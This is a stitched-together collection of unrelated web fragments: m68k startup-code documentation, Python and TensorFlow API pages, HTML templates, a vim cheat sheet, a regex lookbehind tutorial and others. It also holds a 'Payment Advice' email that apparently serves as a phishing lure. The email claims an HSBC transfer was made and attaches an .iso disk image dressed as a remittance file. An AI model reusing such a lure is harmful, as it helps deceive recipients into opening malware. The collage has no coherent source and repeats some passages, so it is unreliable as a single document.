programs have wild side effects from having the .bss section let
uncleared. Particularly it causes problems with some implementations of
malloc
.
/* * Call the main routine from the application to get it going. * main (argc, argv, environ) * We pass argv as a pointer to NULL. */ pea 0 pea SYM (environ) pea sp@(4) pea 0 jsr SYM (main) movel d0, sp@-
Setup the environment pointer and jump to main()
. When
main()
returns, it drops down to the exit
routine below.
/* * _exit -- Exit from the application. Normally we cause a user trap * to return to the ROM monitor for another run. */ SYM (exit): trap #0
Implementing exit
here is easy. Both the rom68k
and bug
can handle a user caused exception of zero
with no side effects.
Although the bug
monitor has a user caused trap that will return
control to the ROM monitor, this solution has been more portable.
Next: Linker Scripts, Up: Libraries [Contents]


--- subject: Payment Advice ---
Payment Remitted (MT1013_679000B).iso (580KB)
Hi firstname,
We hereby inform the payment had been done by HSBC Bank
transfer to:-
Bank Reference Number
G928826073045
DATE: 28-11-2018
Regards,
Jane Doe
Finance Department


The Legend of Zelda: Breath of the Wild is the next Zelda title to be released. Many fans are very excited. We'd count the days if we could, but we don't know exactly when it comes out.
Can we guess when Breath of the Wild will come out?
The Legend of Zelda: Breath of the Wild is the next Zelda title to be released. Many fans are very excited. We'd count the days if we could, but we don't know exactly when it comes out.
Can we guess when Breath of the Wild will come out?


pip_services3_data.persistence.FilePersistence module¶
pip_services3_data.persistence.FilePersistence¶
File persistence implementation.
| copyright: | Conceptual Vision Consulting LLC 2018-2019, see AUTHORS for more details. |
|---|---|
| license: | MIT, see LICENSE for more details. |
-
class
pip_services3_data.persistence.FilePersistence.
FilePersistence
(persister)¶ Bases:
pip_services3_data.persistence.MemoryPersistence.MemoryPersistence
,pip_services3_commons.config.IConfigurable.IConfigurable
Abstract persistence component that stores data in flat files and caches them in memory.
This is the most basic persistence component that is only able to store data items of any type. Specific CRUD operations over the data items must be implemented in child classes by accessing this._items property and calling [[save]] method.
### Configuration parameters ###
- path: path to the file where data is stored
- ### References ###
- :logger::*:1.0 (optional) ILogger components
- to pass log messages
- Example:
- class MyJsonFilePersistence(FilePersistence):
- def __init__(self, path):
- super(MyJsonFilePersistence, self).__init__(JsonPersister(path))
- def get_by_name(self, correlationId, name):
- item = self.find(name) … return item
-
configure
(config)¶ Configures component by passing configuration parameters.
Parameters: config – configuration parameters to be set.


Control Flow
:
IE browser should call IE branch
(
0
,
1
, 1)
Rerun
Register Css For IE is called Once
Control Flow
:
Firefox browser should call its branch
(
1
,
0
, 1)
Rerun
Register Css For Firefox is called Once


uBitWebUSB
JavaScript functions for interacting with micro:bit microcontrollers over WebUSB (Only works in Chrome browsers; Pages must be either HTTPS or local to have permission to access USB)
Main functions are:
uBitConnectDevice(callback)
: Prompt user to connect to device and provide callback function for device events- See
uBitEventCallback
for callback format and argument descriptions.
- See
uBitSend(device)
: Send data (astring
) to a micro:bituBitDisconnect(device)
: Disconnect from the designatedmicro:bit


{% extends "bootstrap/base.html" %} {% import "bootstrap/wtf.html" as wtf %} {% block content %}
Error: {{ error }} {% endif %}
Login your account - All humans working for you.
Sign in instead


Something awesome is in the works.
You can subscribe us to get noticed when our website is ready.
Subscribe


{% extends "base.html" %} {% import "bootstrap/wtf.html" as wtf %} {% block title %}Municipal Library{% endblock %} {% block custom_css %} {% endblock %} {% block page_content %}
The Municipal Library is mandated by the New York City Charter as the official repository for New York City agency publications. With access through our print collection and electronic government documents portal, the Library provides a unique set of resources on the history of New York City. Library staff assist researchers with reference requests, catalog print and electronic materials and reach out to city agencies to ensure that they comply with the Charter mandate. Increasingly the Library will be digitizing the collection to expand our user base. Also, of interest to DORIS employees, we maintain a collection of civil service examinations and study guides for various job titles. Although the exams are only current through the 1980’s, they may be of use and study guides might also be available.


#include <array_ops.h>
Scatter updates
into a new tensor according to indices
.
Creates a new tensor by applying sparse updates
to individual values or slices within a tensor (initially zero for numeric, empty for string) of the given shape
according to indices. This operator is the inverse of the tf.gather_nd
operator which extracts values or slices from a given tensor.
If indices
contains duplicates, then their updates are accumulated (summed).
WARNING: The order in which updates are applied is nondeterministic, so the output will be nondeterministic if indices
contains duplicates because of some numerical approximation issues, numbers summed in different order may yield different results.
indices
is an integer tensor containing indices into a new tensor of shape shape
. The last dimension of indices
can be at most the rank of shape
:
indices.shape[-1] <= shape.rank
The last dimension of indices
corresponds to indices into elements (if indices.shape[-1] = shape.rank
) or slices (if indices.shape[-1] < shape.rank
) along dimension indices.shape[-1]
of shape
. updates
is a tensor with shape
indices.shape[:-1] + shape[indices.shape[-1]:]
The simplest form of scatter is to insert individual elements in a tensor by index. For example, say we want to insert 4 scattered elements in a rank-1 tensor with 8 elements.
In Python, this scatter operation would look like this:
indices = tf.constant([[4], [3], [1], [7]]) updates = tf.constant([9, 10, 11, 12]) shape = tf.constant([8]) scatter = tf.scatter_nd(indices, updates, shape) with tf.Session() as sess: print(sess.run(scatter))
The resulting tensor would look like this:
[0, 11, 0, 10, 9, 0, 0, 12]
We can also, insert entire slices of a higher rank tensor all at once. For example, if we wanted to insert two slices in the first dimension of a rank-3 tensor with two matrices of new values.
In Python, this scatter operation would look like this:
indices = tf.constant([[0], [2]]) updates = tf.constant([[[5, 5, 5, 5], [6, 6, 6, 6], [7, 7, 7, 7], [8, 8, 8, 8]], [[5, 5, 5, 5], [6, 6, 6, 6], [7, 7, 7, 7], [8, 8, 8, 8]]]) shape = tf.constant([4, 4, 4]) scatter = tf.scatter_nd(indices, updates, shape) with tf.Session() as sess: print(sess.run(scatter))
The resulting tensor would look like this:
[[[5, 5, 5, 5], [6, 6, 6, 6], [7, 7, 7, 7], [8, 8, 8, 8]], [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]], [[5, 5, 5, 5], [6, 6, 6, 6], [7, 7, 7, 7], [8, 8, 8, 8]], [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]]]
Note that on CPU, if an out of bound index is found, an error is returned. On GPU, if an out of bound index is found, the index is ignored.
Arguments:
Returns:
Output
: A new tensor with the given shape and updates applied according to the indices.
Constructors and Destructors |
|
|---|---|
ScatterNd(const ::tensorflow::Scope & scope, ::tensorflow::Input indices, ::tensorflow::Input updates, ::tensorflow::Input shape)
|
Public attributes |
|
|---|---|
operation
|
|
output
|
Public functions |
|
|---|---|
node() const
|
::tensorflow::Node *
|
operator::tensorflow::Input() const
|
|
operator::tensorflow::Output() const
|
|
Operation operation
::tensorflow::Output output
ScatterNd( const ::tensorflow::Scope & scope, ::tensorflow::Input indices, ::tensorflow::Input updates, ::tensorflow::Input shape )
::tensorflow::Node * node() const
operator::tensorflow::Input() const
operator::tensorflow::Output() const


CPU SCHEDULAR
Toggle navigation
Github
Select Your CPU Algorithm
FCFS
SJF
ROUND ROBIN
LJF
PRIORITY
LRTF
SRTF
Enter Arrival Time:
Enter Burst Time:
Enter Time Quanta:
SCHEDULING TABLE
Process ID
ArrivalTime
Burst Time
Priority
Response Time
TAT
CT
Waiting Time
Color
Add a Row +
Delete a Row -
Avg. Completion Time =
Execute
Avg. Turn Around Time =


nevermined_sdk_py.nevermined.agreements module¶
-
class
nevermined_sdk_py.nevermined.agreements.
Agreements
(keeper, asset_resolver, asset_consumer, asset_executor, config)¶ Bases:
object
Nevermined agreements class.
-
create
(did, index, agreement_id, service_agreement_signature, consumer_address, account, auto_consume=False)¶ Execute the service agreement on-chain using keeper’s ServiceAgreement contract.
The on-chain executeAgreement method requires the following arguments: templateId, signature, consumer, hashes, timeouts, serviceAgreementId, did. agreement_message_hash is necessary to verify the signature. The consumer signature includes the conditions timeouts and parameters values which is usedon-chain to verify that the values actually match the signed hashes.
- Parameters
did – str representation fo the asset DID. Use this to retrieve the asset DDO.
index – str identifies the specific service in the ddo to use in this agreement.
agreement_id – 32 bytes identifier created by the consumer and will be used on-chain for the executed agreement.
service_agreement_signature – str the signed agreement message hash which includes conditions and their parameters values and other details of the agreement.
consumer_address – ethereum account address of consumer, hex str
account – Account instance creating the agreement. Can be either the consumer, publisher or provider
auto_consume – bool
- Returns
dict the executeAgreement transaction receipt
-
create_direct
(did, index, agreement_id, service_agreement_signature, consumer_address, account)¶ Execute the service agreement on-chain using keeper’s ServiceAgreement contract.
The on-chain executeAgreement method requires the following arguments: templateId, signature, consumer, hashes, timeouts, serviceAgreementId, did. agreement_message_hash is necessary to verify the signature. The consumer signature includes the conditions timeouts and parameters values which is usedon-chain to verify that the values actually match the signed hashes.
- Parameters
did – str representation fo the asset DID. Use this to retrieve the asset DDO.
index – str identifies the specific service in the ddo to use in this agreement.
agreement_id – 32 bytes identifier created by the consumer and will be used on-chain for the executed agreement.
service_agreement_signature – str the signed agreement message hash which includes conditions and their parameters values and other details of the agreement.
consumer_address – ethereum account address of consumer, hex str
account – Account instance creating the agreement. Can be either the consumer, publisher or provider
auto_consume – bool
- Returns
dict the executeAgreement transaction receipt
-
get
(agreement_id)¶ Retrieve the agreement data of agreement_id.
- Parameters
agreement_id – id of the agreement, hex str
- Returns
AgreementValues instance – a namedtuple with the following attributes:
did, owner, template_id, condition_ids, updated_by, block_number_updated
-
is_access_granted
(agreement_id, did, consumer_address)¶ Check permission for the agreement.
Verify on-chain that the consumer_address has permission to access the given asset did according to the agreement_id.
- Parameters
agreement_id – id of the agreement, hex str
did – DID, str
consumer_address – ethereum account address of consumer, hex str
- Returns
bool True if user has permission
-
static
new
()¶
-
prepare
(did, consumer_account, service_index)¶ - Parameters
did – str representation fo the asset DID. Use this to retrieve the asset DDO.
consumer_account – Account instance of the consumer
service_index – int identifies the specific service in the ddo to use in this agreement.
- Returns
tuple (agreement_id: str, signature: hex str)
-
sign
(agreement_id, did, consumer_account, service_index)¶ Sign a service agreement.
- Parameters
agreement_id – 32 bytes identifier created by the consumer and will be used on-chain for the executed agreement.
did – str representation fo the asset DID. Use this to retrieve the asset DDO.
consumer_account – Account instance of the consumer
service_index – int identifies the specific service in the ddo to use in this agreement.
- Returns
signature
-
status
(agreement_id)¶ Get the status of a service agreement.
- Parameters
agreement_id – id of the agreement, hex str
- Returns
dict with condition status of each of the agreement’s conditions or None if the
agreement is invalid.
-


| Overview | Namespace | Class | Index | Help |
| LIST OF: | VALUES |
Copyright © 2012, The Apache Software Foundation, Licensed under the Apache License, Version 2.0. Apache, the Apache feather logo, Apache OpenOffice and OpenOffice.org are trademarks of The Apache Software Foundation. Other names may be trademarks of their respective owners.


{% extends "layouts/_block_content.html" %} {% set page_title = "Account email change confirmation" %} {% block main %}
Thank you for changing the email address on your account. You can now sign in using the new details at https://surveys.ons.gov.uk/sign-in/.


Cursor movement
- h - move left
- j - move down
- k - move up
- l - move right
- w - jump by start of words
- W - jump by WORDS
- e - jump to end of words
- E - jump to end of WORDS
- b - jump backward by words
- B - jump backward by WORDS)
- 0 - (zero) start of line
- ^ - first non-blank character of line
- $ - end of line
- G - Go To command (prefix with number - to line
Tip Prefix a cursor movement command with a number to repeat it. For example, 4j moves down 4 lines.
Insert Mode - Inserting/Appending text
- i - start insert mode at cursor
- I - insert at the beginning of the line
- a - append after the cursor
- A - append at the end of the line
- o - open (append) blank line below current line
- O - open blank line above current line
- ea - append at end of word
- Esc - exit insert mode


module_amoebae_name_replace module¶
Module defining functions for coding and decoding taxon/sequence names in alignments and tree files for input to phylogenetics software. Based on the name_replace.pl script written by Jed Barlow.
-
module_amoebae_name_replace.
codenames_nex
(infp, aamodelpr=None)[source]¶ Takes a path to a multiple sequence alignment file in nexus format and writes a new file with coded names.
-
module_amoebae_name_replace.
generate_code_name
(number)[source]¶ Take the number of the sequence in the input file, and output an alphabetical code that uniquely corresponds to that number.
-
module_amoebae_name_replace.
get_conversion_dict_from_table
(tablefile)[source]¶ Take a conversion table and return a dictionary for uncoding names.
-
module_amoebae_name_replace.
write_afa_with_code_names
(infile, outfile, tablefile)[source]¶ Take an aligned (or unaligned) fasta file, and write a fasta file with coded names, and a table for converting names back.
-
module_amoebae_name_replace.
write_newick_tree_with_coded_names
(infile, outfile, tablefile, quoted_names=False)[source]¶ Take a newick file and replace full taxon names with coded names from a table.
-
module_amoebae_name_replace.
write_newick_tree_with_uncoded_names
(infile, outfile, tablefile, quoted_names=False)[source]¶ Take a text file with a newick tree, and write a new one with names converted back to original names (given values in a conversion table), and optionally put quotation marks around the names in the output tree.


Creating a Street View panorama is as easy as:
panorama = GMaps.createPanorama({ el: '#panorama', lat : 42.3455, lng : -71.0983 });
You must define container ID, latitude and longitude of the panorama's position.
NoteYou also can define a pov (heading, pitch and zoom) and others values defined in the official documentation.
Note In the same way, you can define events, like in the Map events example. The events allowed are defined in the official documentation ("Events" section).


We are Here to Help
Symptoms
Symptoms vary widely or they may not occur at all. Some patients have abnormal bumps, unexplained fevers, night sweats or unintentional weight loss.
Prevention
This includes maintaining a healthy lifestyle, avoiding exposure to known cancer-causing substances, and taking medicines or vaccines that can prevent cancer from developing.
Causes
Common causes includes smoking and tobacco, improper diet and physical activity, radiation from the sun and other types of radiation and viruses and other infections.


A B C D E F G H I J L M N O P R S T U V W
All Classes All Packages
All Classes All Packages
All Classes All Packages
U
- update(JsonNode, long) - Method in class com.cyberfront.crdt.sample.manager.JsonManager
-
Update the CRDT so that the document has the given value at the given timestamp
- update(T, long) - Method in class com.cyberfront.crdt.sample.manager.GenericManager
-
Update the value of the POJO to the given object value and at the given timestamp
- Update() - Constructor for class com.cyberfront.crdt.unittest.TestData.Update
-
Constructor for using the default settings
- Update(double, long, long, long, boolean, boolean) - Constructor for class com.cyberfront.crdt.unittest.TestData.Update
-
Constructor to explicitly set each of the test parameters
- UPDATE - com.cyberfront.crdt.operation.Operation.OperationType
-
The delete operation.
- UPDATE - com.cyberfront.crdt.sample.simulation.Executive.EventType
-
Represents an update operation
- UPDATE_COUNT - Static variable in class com.cyberfront.crdt.unittest.TestSimulation.Simulation
-
Number of updated operations to perform on tests related to internodal synchronization quality
- UPDATE_PROBABILITY - Static variable in class com.cyberfront.crdt.unittest.TestSimulation.Simulation
-
Probability of rejecting an update or delete event once it reaches the "owner" node
- updateCount - Variable in class com.cyberfront.crdt.sample.simulation.Executive
-
Number of update operations remaining to perform
- updateCount - Variable in class com.cyberfront.crdt.unittest.TestSimulation.Simulation
-
The number of times to perform an update operation during the simulation
- updateProbability - Variable in class com.cyberfront.crdt.sample.simulation.Executive
-
The probability of updating an individual field when computing an update to a managed object
- updateProbability - Variable in class com.cyberfront.crdt.unittest.TestSimulation.Simulation
-
Probability of rejecting an updating a field during an update operations
All Classes All Packages


Method for return the admins of the current facility.
Callback for return the value if is defined.
IAdmin - Admins list.
Method for return the LabWebConfig.
Callback for return the value if is defined.
ILabWebConfig - LabWebConfig.
Method for creating a facility.
Callback for return the value if is defined.
IFacilityWeb - Facility settings.
Method for return the current user.
Callback for return the value if is defined.
IUser - The current user.
Method for deleting a facility.
Facility name.
Callback for return the value if is defined.
Boolean - True/False if the facility was deleted.
Method for return all the facility configurations.
Callback for return the value if is defined.
any - All the Facility configurations.
Method for saving the facility settings. @return {Object} IFacilitySettings - Facility Settings.
An object of type Models.Interfaces.IFacilitySettings with the facility settings for change.
Callback for return the value if is defined.
Method for saving the LabWebConfig.
An object of type Models.Interfaces.ILabWebConfig with the LabWebConfig values for change.
Callback for return the value if is defined.
ILabWebConfig - LabWebConfig.
Method for return the facility settings. @return {Object} IFacilitySettings - Facility Settings.
Callback for return the value if is defined.
Method for return the staff of the current facility.
Callback for return the value if is defined.
IStaff - Staff list.
Generated using TypeDoc
Interface for Facility's methods.


Looking Behind
As you have just seen, ?= looks ahead (it looks at what comes after the matched text, but does not consume what it finds). ?= is thus referred to as the lookahead operator. In addition to looking ahead, many regular expression implementations support looking behind. Looking at what is before the text to be returned involves looking behind, and the lookbehind operator ?<=.
Tip | Need help distinguishing ?= and ?<= from each other? Here's a way to remember which is which: The one that contains the arrow pointing behind (the < character) is lookbehind. |
?<= is used in the same way as ?=; it is used within a subexpression and is followed by the text to match.
Following is an example. A database search lists products, and you need only the prices.
ABC01: $23.45
HGG42: $5.31
CFMX1: $899.00
XTC99: $69.96
Total items found: 4
\$[0-9.]+
ABC01: $23.45
HGG42: $5.31
CFMX1: $899.00
XTC99: $69.96
Total items found: 4
\$ matches the $, and [0-9.]+ matches the price.
That worked. But what if you did not want the $ characters in the matched text? Could you simply drop \$ from the pattern?
ABC01: $23.45
HGG42: $5.31
CFMX1: $899.00
XTC99: $69.96
Total items found: 4
[0-9.]+
ABC01: $23.45
HGG42: $5.31
CFMX1: $899.00
XTC99: $69.96
Total items found: 4
That obviously did not work. You do need the \$ to determine which text to match, but you do not want the $ to be returned.
The solution? A lookbehind match, as follows:
ABC01: $23.45
HGG42: $5.31
CFMX1: $899.00
XTC99: $69.96
Total items found: 4
(?<=\$)[0-9.]+
ABC01: $23.45
HGG42: $5.31
CFMX1: $899.00
XTC99: $69.96
Total items found: 4
That did the trick. (?<=\$) matches $, but does not consume it, and so only the prices (without the leading $ signs) are returned.
Compare the first and last expressions used in this example. \$[0-9.]+ matched $ followed by a dollar amount. (?<=\$)[0-9.]+ also matched $ followed by a dollar amount. The difference between the two is not in what they located while performing the search; it is in what they included in the results. The former located and included the $. The latter located $ so as to correctly find the prices, but did not include that $ in the matched results.
| Lookahead patterns may be variable length; they may contain . and +, for example, so as to be highly dynamic. Lookbehind patterns, on the other hand, must generally be fixed length. This is a restriction imposed by almost all regular expression implementations. |
|